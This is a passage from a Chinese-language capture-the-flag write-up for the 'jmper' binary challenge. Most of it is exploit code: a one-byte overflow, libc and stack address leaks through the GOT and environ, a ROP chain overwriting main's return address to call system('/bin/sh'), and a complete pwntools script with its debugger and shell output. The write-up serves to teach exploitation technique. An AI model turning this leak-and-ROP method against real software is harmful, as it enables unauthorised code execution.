log.info("system address: 0x%x" % system_addr)
|
||
log.info("main return address: 0x%x" % main_ret_addr)
|
||
```
|
||
于是我们就得到了 system 函数的地址和 main 函数的返回地址。
|
||
|
||
这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。
|
||
|
||
```
|
||
[*] libc base: 0x7ffff7a15000
|
||
[*] system address: 0x7ffff7a5b590
|
||
[*] main return address: 0x7fffffffed78
|
||
```
|
||
|
||
#### overwrite
|
||
```python
|
||
def overwrite():
|
||
write_name(0, p64(0x602028)) # student_num
|
||
write_name(1, '/bin/sh\x00')
|
||
write_name(0, p64(main_ret_addr))
|
||
write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')
|
||
```
|
||
接下来我们将 student_num 改为 '/bin/sh',这样一方面为 system 提供了参数,另一方面可以触发 longjmp。
|
||
|
||
```
|
||
gdb-peda$ x/s 0x602028
|
||
0x602028 <student_num>: "/bin/sh"
|
||
gdb-peda$ x/3gx 0x7fffffffed78
|
||
0x7fffffffed78: 0x0000000000400cc3 0x0000000000602028
|
||
0x7fffffffed88: 0x00007ffff7a5b590
|
||
```
|
||
|
||
#### pwn
|
||
```python
|
||
def pwn():
|
||
add() # call longjmp to back to main
|
||
io.interactive()
|
||
```
|
||
|
||
Bingo!!!
|
||
```
|
||
$ python exp.py
|
||
[+] Starting local process './jmper': pid 3935
|
||
[*] Switching to interactive mode
|
||
Exception has occurred. Jump!
|
||
Nice jump! Bye :)
|
||
$ whoami
|
||
firmy
|
||
```
|
||
|
||
#### exp
|
||
完整的 exp 如下:
|
||
```python
|
||
#!/usr/bin/env python
|
||
|
||
from pwn import *
|
||
|
||
# context.log_level = 'debug'
|
||
|
||
io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'})
|
||
elf = ELF('jmper')
|
||
libc = ELF('libc-2.19.so')
|
||
|
||
pop_rdi_ret = 0x400cc3
|
||
|
||
def add():
|
||
io.sendlineafter("Bye :)\n", '1')
|
||
|
||
def write_name(idx, content):
|
||
io.sendlineafter("Bye :)\n", '2')
|
||
io.sendlineafter("ID:", str(idx))
|
||
io.sendlineafter("name:", content)
|
||
|
||
def write_memo(idx, content):
|
||
io.sendlineafter("Bye :)\n", '3')
|
||
io.sendlineafter("ID:", str(idx))
|
||
io.sendlineafter("memo:", content)
|
||
|
||
def show_name(idx):
|
||
io.sendlineafter("Bye :)\n", '4')
|
||
io.sendlineafter("ID:", str(idx))
|
||
|
||
def show_memo(idx):
|
||
io.sendlineafter("Bye :)\n", '5')
|
||
io.sendlineafter("ID:", str(idx))
|
||
|
||
def overflow():
|
||
add() # idx 0
|
||
add() # idx 1
|
||
write_memo(0, 'A'*0x20 + '\x78')
|
||
|
||
def leak():
|
||
global system_addr
|
||
global main_ret_addr
|
||
|
||
write_name(0, p64(elf.got['puts']))
|
||
show_name(1)
|
||
puts_addr = (u64(io.recvline()[:6] + '\x00'*2))
|
||
|
||
libc_base = puts_addr - libc.symbols['puts']
|
||
system_addr = libc_base + libc.symbols['system']
|
||
environ_addr = libc_base + libc.symbols['environ']
|
||
|
||
write_name(0, p64(environ_addr))
|
||
show_name(1)
|
||
stack_addr = u64(io.recvline()[:6] + '\x00'*2)
|
||
main_ret_addr = stack_addr - 0xf0
|
||
|
||
log.info("libc base: 0x%x" % libc_base)
|
||
log.info("system address: 0x%x" % system_addr)
|
||
log.info("main return address: 0x%x" % main_ret_addr)
|
||
|
||
def overwrite():
|
||
write_name(0, p64(0x602028)) # student_num
|
||
write_name(1, '/bin/sh\x00')
|
||
write_name(0, p64(main_ret_addr))
|
||
write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')
|
||
|
||
def pwn():
|
||
add() # call longjmp to back to main
|
||
io.interactive()
|
||
|
||
if __name__ == "__main__":
|
||
overflow()
|
||
leak()
|
||
overwrite()
|
||
pwn()
|
||
```
|
||
|
||
|
||
## 参考资料
|
||
- https://ctftime.org/task/3169
|